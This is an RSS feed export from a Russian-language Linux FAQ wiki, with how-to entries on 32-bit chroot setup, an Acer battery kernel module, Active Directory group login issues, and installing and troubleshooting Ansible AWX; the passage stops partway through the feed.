<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.8" -->
<?xml-stylesheet href="https://wiki.autosys.tk/lib/exe/css.php?s=feed" type="text/css"?>
<rss version="2.0">
    <channel xmlns:g="http://base.google.com/ns/1.0">
        <title>wiki.autosys.tk - linux_faq</title>
        <description></description>
        <link>https://wiki.autosys.tk/</link>
        <lastBuildDate>Tue, 07 Apr 2026 17:50:43 +0000</lastBuildDate>
        <generator>FeedCreator 1.8</generator>
        <image>
            <url>https://wiki.autosys.tk/_media/wiki/dokuwiki.svg</url>
            <title>wiki.autosys.tk</title>
            <link>https://wiki.autosys.tk/</link>
        </image>
        <item>
            <title>32-bit-chroot-в-ubuntu-14-04</title>
            <link>https://wiki.autosys.tk/linux_faq/32-bit-chroot-%D0%B2-ubuntu-14-04</link>
            <description>
&lt;p&gt;
Иногда нужно запускать 32-bit приложения в 64-bit системе. Это приходится делать из-за неразрешимых зависимостей в пакетах.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Итак, поехали. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Ставим то что нам понадобится:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install debootstrap schroot&lt;/pre&gt;

&lt;p&gt;
Создаем директорию и конфигурационный файл для нашего chroot:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkdir /trusty_i386
sudo nano /etc/schroot/chroot.d/trusty_i386.conf&lt;/pre&gt;

&lt;p&gt;
И записываем туда вот что:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[trusty_i386]
description=Ubuntu 14.04 Trusty for i386
directory=/trusty_i386
personality=linux32
root-users=mike
type=directory
users=alice,mike&lt;/pre&gt;

&lt;p&gt;
Тут:&lt;br/&gt;

&lt;strong&gt;directory&lt;/strong&gt; (раньше - location) - Директория где будут лежать файлы этого environment. Директория должна быть за пределами &lt;strong&gt;/home&lt;/strong&gt;. tree. &lt;br/&gt;

По-умолчанию - &lt;strong&gt;/srv/chroot&lt;/strong&gt;.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;personality&lt;/strong&gt; - Эта строка нужна, если хост-система 64-bit, а chroot-система - 32-bit. В противном случае можно отключить или закомментировать “#”.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;root-users&lt;/strong&gt; - Пользователи хост-системы, которые имеют права запускать schroot и получат root-доступ к chroot-окружению. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;users&lt;/strong&gt; - Пользователи хост-системы, которые имеют права запускать schroot и получат пользовательский доступ к chroot-окружению. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Выполнем установку нашей Ubuntu 14.04 Trusty 32-bit системы в указанную папку:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo debootstrap --variant=buildd --arch=i386 trusty /trusty_i386 http://archive.ubuntu.com/ubuntu/&lt;/pre&gt;

&lt;p&gt;
Для других дистрибутивов просто меняем &lt;strong&gt;trusty&lt;/strong&gt; на название дистра (например для Ubuntu 13.04 - &lt;strong&gt;precise&lt;/strong&gt;)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Смотрим на список сконфигурированных chroot:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;schroot  -l&lt;/pre&gt;

&lt;p&gt;
Теперь запустим наше chroot-окружение и убедимсо, что там внутри 32-bit:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;schroot -c trusty_i386 -u root
(trusty_i386)root@host-system:/home/mike# uname -a
Linux host-system 3.16.0-031600rc2-generic #201406220135 SMP Sun Jun 22 05:36:21 UTC 2014 i686 i686 i686 GNU/Linux&lt;/pre&gt;

&lt;p&gt;
Затем в окружении chroot ставим компоненты системы:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;(trusty_i386)root@host-system:/home/mike# apt-get install ubuntu-minimal&lt;/pre&gt;

&lt;p&gt;
Для запуска &lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;-приложений необходимо задать системную переменную DISPLAY (посмотреть ее на хост системе - echo $DISPLAY):&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;(trusty_i386)root@host-system:/home/mike#  DISPLAY=:0 ./yourapp&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>accel-ppp_vpn_server_in_lxc_container_on_ubuntu_16.04_host</title>
            <link>https://wiki.autosys.tk/linux_faq/accel-ppp_vpn_server_in_lxc_container_on_ubuntu_16.04_host</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;http://accel-ppp.org/wiki/doku.php&quot; class=&quot;urlextern&quot; title=&quot;http://accel-ppp.org/wiki/doku.php&quot; rel=&quot;ugc nofollow&quot;&gt;http://accel-ppp.org/wiki/doku.php&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>acer_swift_linux_trics</title>
            <link>https://wiki.autosys.tk/linux_faq/acer_swift_linux_trics</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;battery_protection_mode&quot;&gt;Battery protection mode&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/frederik-h/acer-wmi-battery&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/frederik-h/acer-wmi-battery&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/frederik-h/acer-wmi-battery&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt install build-essential linux-headers-$(uname -r) git
git clone https://github.com/frederik-h/acer-wmi-battery.git
cd acer-wmi-battery
make
sudo insmod acer-wmi-battery.ko
echo 1 | sudo tee /sys/bus/wmi/drivers/acer-wmi-battery/health_mode&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 01 Jun 2023 08:30:15 +0000</pubDate>
        </item>
        <item>
            <title>ad_users_in_local_linux_groups</title>
            <link>https://wiki.autosys.tk/linux_faq/ad_users_in_local_linux_groups</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Есть система &lt;strong&gt;Ubuntu 18.04&lt;/strong&gt;, которая является членом домена &lt;strong&gt;Active Directory&lt;/strong&gt; с помощью &lt;strong&gt;Samba&lt;/strong&gt; + &lt;strong&gt;winbind&lt;/strong&gt;. &lt;br/&gt;

При добавлении пользователей в локальную группу &lt;strong&gt;linux&lt;/strong&gt; (в файле &lt;strong&gt;/etc/group&lt;/strong&gt;) некоторые пользователи нормально добавляются, при входе получают эту группу а некоторые - нет. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-507&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Оказалось, что причиной такого поведения является пренебрежение со стороны &lt;strong&gt;Windows&lt;/strong&gt; к регистру логина. &lt;br/&gt;

В моем случае в файле &lt;strong&gt;/etc/group&lt;/strong&gt; пользователи в локальную группу прописаны в нижнем регистре:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;username&lt;/pre&gt;

&lt;p&gt;
но при входе в систему пользователь может использовать логин в любом регистре - например
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;UserName&lt;/pre&gt;

&lt;p&gt;
и &lt;strong&gt;Active Directory&lt;/strong&gt; его нормально аутентифицирует. &lt;br/&gt;

В итоге - если при входе в систему пользователь использует логин НЕ в нижнем регистре, то он получит список групп только из &lt;strong&gt;Active Directory&lt;/strong&gt;, а вот локальные группы ему не назначатся, поскольку с точки зрения &lt;strong&gt;linux&lt;/strong&gt; это будет совсем другой пользователь. &lt;br/&gt;

Иными словами - логин, используемый при входе в систему, должен точно совпадать с тем, который прописан в &lt;strong&gt;/etc/group&lt;/strong&gt; и лучше всего, во ибежание проблем, везде в использовать нижний регистр.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;508-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 15 Jan 2021 09:20:25 +0000</pubDate>
        </item>
        <item>
            <title>ansible_awx_setup</title>
            <link>https://wiki.autosys.tk/linux_faq/ansible_awx_setup</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;установка_awx_на_ubuntu_1904&quot;&gt;Установка AWX на Ubuntu 19.04&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот рабочая последовательность команд для установки &lt;strong&gt;Ansible AWX&lt;/strong&gt; на &lt;strong&gt;Ubuntu 19.04&lt;/strong&gt; в виде контейнеров &lt;strong&gt;docker&lt;/strong&gt;. &lt;br/&gt;

&lt;strong&gt;Docker&lt;/strong&gt; обязательно нужно ставить последний из &lt;a href=&quot;https://download.docker.com/linux/ubuntu&quot; class=&quot;urlextern&quot; title=&quot;https://download.docker.com/linux/ubuntu&quot; rel=&quot;ugc nofollow&quot;&gt;https://download.docker.com/linux/ubuntu&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;export http_proxy=http://192.168.104.94:3130/
export https_proxy=http://192.168.104.94:3130/

echo &amp;quot;deb http://ppa.launchpad.net/ansible/ansible/ubuntu $(lsb_release -cs) main&amp;quot; | sudo tee -a /etc/apt/sources.list.d/ansible.list
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 7BB9C367
sudo apt-get update
sudo apt install ansible -y
sudo rm -f /usr/bin/python
sudo ln -s /usr/bin/python3 /usr/bin/python

sudo snap remove --purge docker
sudo apt-get purge docker docker-engine docker.io docker-ce docker-ce-cli containerd.io containerd runc -y
sudo rm -rf /var/lib/docker/
sudo rm -rf /var/lib/docker-engine
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install -y apt-transport-https ca-certificates curl gnupg-agent software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo apt-key fingerprint 0EBFCD88
sudo add-apt-repository &amp;quot;deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable&amp;quot;
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io -y
sudo service docker start
sudo rm -f /usr/bin/python
sudo ln -s /usr/bin/python3 /usr/bin/python
sudo apt-get install python3-pip -y
sudo pip3 --proxy=http://__Proxy_IP__:_proxy_port__ install docker docker-compose
sudo apt install nodejs npm -y
sudo npm install npm --global
git clone https://github.com/ansible/awx.git
cd awx/installer
sudo ansible-playbook -i inventory install.yml&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 AWX \u043d\u0430 Ubuntu 19.04&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_awx_\u043d\u0430_ubuntu_1904&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1826&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;установка_awx_в_кластере_kubernetes&quot;&gt;Установка AWX в кластере kubernetes&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для установки в Kubernetes есть несколько опций:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Штатный ansible-инсталлятор - &lt;a href=&quot;https://github.com/ansible/awx/blob/devel/INSTALL.md#kubernetes&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/ansible/awx/blob/devel/INSTALL.md#kubernetes&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/ansible/awx/blob/devel/INSTALL.md#kubernetes&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 operator (в июне 2020 - alpha) - &lt;a href=&quot;https://github.com/geerlingguy/tower-operator&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/geerlingguy/tower-operator&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/geerlingguy/tower-operator&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 helm chart (в июне 2020 уже несколько устарел - там все еще rabbitmq вместо redis) - &lt;a href=&quot;https://github.com/arthur-c/ansible-awx-helm-chart&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/arthur-c/ansible-awx-helm-chart&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/arthur-c/ansible-awx-helm-chart&lt;/a&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
&lt;br/&gt;

На старых версиях плейбуков AWX при установке в кластер kubernetes версии 1.16 playbook вываливался с ошибкой на задаче &lt;strong&gt;TASK [kubernetes : Apply Deployment]&lt;/strong&gt;. Сейчас такого не происходит. &lt;br/&gt;

Для начала - нужно включить логирование, чтобы увидеть в чем дело. В файлике &lt;strong&gt;roles/kubernetes/tasks/main.yml&lt;/strong&gt; ищем задачу с именем
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Apply Deployment&lt;/pre&gt;

&lt;p&gt;
и в ней комментируем строку 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;no_log: yes&lt;/pre&gt;

&lt;p&gt;
В итоге можем увидеть сообщение об ошибке:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;no matches for kind &amp;quot;StatefulSet&amp;quot; in version &amp;quot;apps/v1beta1&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Это означает, что &lt;strong&gt;apiVersion&lt;/strong&gt; в файлике манифеста не соотвествует &lt;strong&gt;apiVersion&lt;/strong&gt; кластера.
Открываем файл &lt;strong&gt;roles/kubernetes/templates/deployment.yml.j2&lt;/strong&gt;, находим объявление
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kind: StatefulSet&lt;/pre&gt;

&lt;p&gt;
и исправляем версию строкой выше.&lt;br/&gt;

Версии &lt;strong&gt;kubernetes &lt;abbr title=&quot;Application Programming Interface&quot;&gt;API&lt;/abbr&gt;&lt;/strong&gt; в вашем кластере можно посмотреть так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;for kind in `kubectl api-resources | tail +2 | awk &amp;#039;{ print $1 }&amp;#039;`; do kubectl explain $kind; done | grep -e &amp;quot;KIND:&amp;quot; -e &amp;quot;VERSION:&amp;quot;&lt;/pre&gt;

&lt;p&gt;
В моем случае
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apiVersion: apps/v1beta1&lt;/pre&gt;

&lt;p&gt;
нужно заменить на 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apiVersion: apps/v1&lt;/pre&gt;

&lt;p&gt;
В результате - характер ошибки изменился и теперь сообщение такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;missing required field &amp;quot;selector&amp;quot; in io.k8s.api.apps.v1.StatefulSetSpec&lt;/pre&gt;

&lt;p&gt;
Отлично. Оказалось, теперь в спецификации &lt;strong&gt;StatefulSet&lt;/strong&gt; нужно добавлять selector, который, в соответствии с документацией должен совпадать с метками (labels), заданным в спецификации контейнеров этого &lt;strong&gt;StatefulSet&lt;/strong&gt; (has to match .&lt;abbr title=&quot;specification&quot;&gt;spec&lt;/abbr&gt;.template.metadata.labels). Приводим спецификацию &lt;strong&gt;StatefulSet&lt;/strong&gt; к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;spec:
  serviceName: {{ kubernetes_deployment_name }}
  replicas: 1
  selector:   
    matchLabels:
      app: {{ kubernetes_deployment_name }}&lt;/pre&gt;

&lt;p&gt;
Также в моей конфигурации оказалось проще удалить секции &lt;strong&gt;resources&lt;/strong&gt;, чем их настраивать (мой тренировочный кластер не сможет выделить какие-то фиксированные объемы ресурсов). Также лучше сразу удалить &lt;strong&gt;liveness&lt;/strong&gt; и &lt;strong&gt;readyness probes&lt;/strong&gt; из спецификации контейнера &lt;strong&gt;rabbitmq&lt;/strong&gt; (иначе - будет жор CPU).
&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 AWX \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435 kubernetes&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_awx_\u0432_\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435_kubernetes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1827-5132&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;обновление_awx_в_кластере_kubernetes&quot;&gt;Обновление AWX в кластере kubernetes&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Бекапим базу. На сервере postgres выполняем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo su - postgres
su - postgres
pg_dump awx &amp;gt; awx_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`.bak&lt;/pre&gt;

&lt;p&gt;
Клонируем свежий репозиторий AWX:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;git clone https://github.com/ansible/awx.git&lt;/pre&gt;

&lt;p&gt;
Настраиваем &lt;strong&gt;inventory&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd awx/installer
nano inventory&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 AWX \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435 kubernetes&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435_awx_\u0432_\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0435_kubernetes&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;5133-5549&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;ошибки&quot;&gt;Ошибки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0448\u0438\u0431\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0448\u0438\u0431\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;5550-5576&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;cannot_import_name_errors&quot;&gt;cannot import name errors&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Вот такая ошибка появлялась, пока я не сменил версию python с 2.7 на 3.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;TASK [local_docker : Start the containers] ************************************************************************************************************************************************************************************************************************************
fatal: [localhost]: FAILED! =&amp;gt; {&amp;quot;changed&amp;quot;: false, &amp;quot;msg&amp;quot;: &amp;quot;Failed to import the required Python library (Docker SDK for Python: docker (Python &amp;gt;= 2.7) or docker-py (Python 2.6)) on kom250.rdleas.ru&amp;#039;s Python /usr/bin/python. Please read module documentation and install in the appropriate location, for example via `pip install docker` or `pip install docker-py` (Python 2.6). The error was: cannot import name errors&amp;quot;}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;cannot import name errors&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;cannot_import_name_errors&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;5577-6438&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;read-only_file_system&quot;&gt;read-only file system&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
При &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/docker_migrate_to_another_host&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:docker_migrate_to_another_host&quot; data-wiki-id=&quot;linux_faq:docker_migrate_to_another_host&quot;&gt;переносе инсталляции AWX с одного сервера на другой хост&lt;/a&gt; я столкнулся с такой ошибкой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Cannot start service postgres: b&amp;quot;error while creating mount source path &amp;#039;/opt/awx/pgsql_db&amp;#039;: mkdir /opt/awx: read-only file system&lt;/pre&gt;

&lt;p&gt;
Гугление показало, что виноват древний &lt;strong&gt;docker&lt;/strong&gt;. Помогло удаление и переустановка из репозитория &lt;a href=&quot;https://download.docker.com/linux/ubuntu&quot; class=&quot;urlextern&quot; title=&quot;https://download.docker.com/linux/ubuntu&quot; rel=&quot;ugc nofollow&quot;&gt;https://download.docker.com/linux/ubuntu&lt;/a&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;read-only file system&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;read-only_file_system&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;6439-7030&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit7&quot; id=&quot;awx_on_kubernetes_-_high_cpu_usage_erl_child_setup&quot;&gt;awx on kubernetes - high CPU usage erl_child_setup&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;strong&gt;AWX&lt;/strong&gt; в маленьком кластере &lt;strong&gt;kubernetes&lt;/strong&gt;. В простое постоянно высокая нагрузка на &lt;strong&gt;CPU&lt;/strong&gt; - процесс &lt;strong&gt;erl_child_setup&lt;/strong&gt;.&lt;br/&gt;

Причина - &lt;strong&gt;liveness&lt;/strong&gt; и &lt;strong&gt;readyness&lt;/strong&gt; пробы в контейнере &lt;strong&gt;awx-rabbit&lt;/strong&gt;. &lt;br/&gt;

Решение - отредактировать &lt;strong&gt;StatefullSet&lt;/strong&gt; и удалить &lt;strong&gt;liveness&lt;/strong&gt; и &lt;strong&gt;readyness&lt;/strong&gt; пробы.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl edit sts awx -n awx&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;awx on kubernetes - high CPU usage erl_child_setup&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;awx_on_kubernetes_-_high_cpu_usage_erl_child_setup&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:7,&amp;quot;range&amp;quot;:&amp;quot;7031-7536&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit8&quot; id=&quot;установка_awx_из_репозиториев&quot;&gt;Установка AWX из репозиториев&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Это уже древний вариант. Сейчас актуальна установка в контейнеры &lt;strong&gt;docker&lt;/strong&gt;. &lt;br/&gt;

CentOS 7 1810
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;yum install -y epel-release
yum install -y https://download.postgresql.org/pub/repos/yum/9.6/redhat/rhel-7-x86_64/pgdg-redhat96-9.6-3.noarch.rpm
yum install -y postgresql96-server
yum install -y rabbitmq-server wget memcached nginx ansible
wget -O /etc/yum.repos.d/awx-rpm.repo https://copr.fedorainfracloud.org/coprs/mrmeee/awx/repo/epel-7/mrmeee-awx-epel-7.repo
yum install -y awx&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;/usr/pgsql-9.6/bin/postgresql96-setup initdb&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;systemctl start rabbitmq-server
systemctl enable rabbitmq-server
systemctl enable postgresql-9.6
systemctl start postgresql-9.6
systemctl enable memcached
systemctl start memcached&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;sudo -u postgres createuser -S awx
sudo -u postgres createdb -O awx awx
sudo -u awx /opt/awx/bin/awx-manage migrate&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;quot;from django.contrib.auth.models import User; User.objects.create_superuser(&amp;#039;admin&amp;#039;, &amp;#039;root@localhost&amp;#039;, &amp;#039;password&amp;#039;)&amp;quot; | sudo -u awx /opt/awx/bin/awx-manage shell
sudo -u awx /opt/awx/bin/awx-manage create_preload_data
sudo -u awx /opt/awx/bin/awx-manage provision_instance --hostname=$(hostname)
sudo -u awx /opt/awx/bin/awx-manage register_queue --queuename=tower --hostnames=$(hostname)&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;cd /etc/nginx/
cp nginx.conf nginx.conf.bak
wget -O /etc/nginx/nginx.conf https://raw.githubusercontent.com/sunilsankar/awx-build/master/nginx.conf&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;systemctl start nginx
systemctl enable nginx
systemctl start awx-cbreceiver
systemctl start awx-channels-worker
systemctl start awx-daphne
systemctl start awx-dispatcher
systemctl start awx-web

systemctl enable awx-cbreceiver
systemctl enable awx-channels-worker
systemctl enable awx-daphne
systemctl enable awx-dispatcher
systemctl enable awx-web&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 AWX \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_awx_\u0438\u0437_\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;7537-9444&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit9&quot; id=&quot;ссылки&quot;&gt;Ссылки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.ansible.com/products/awx-project/faq&quot; class=&quot;urlextern&quot; title=&quot;https://www.ansible.com/products/awx-project/faq&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.ansible.com/products/awx-project/faq&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://www.admintome.com/blog/install-ansible-on-ubuntu-18-04-with-awx/&quot; class=&quot;urlextern&quot; title=&quot;https://www.admintome.com/blog/install-ansible-on-ubuntu-18-04-with-awx/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.admintome.com/blog/install-ansible-on-ubuntu-18-04-with-awx/&lt;/a&gt; &lt;br/&gt;

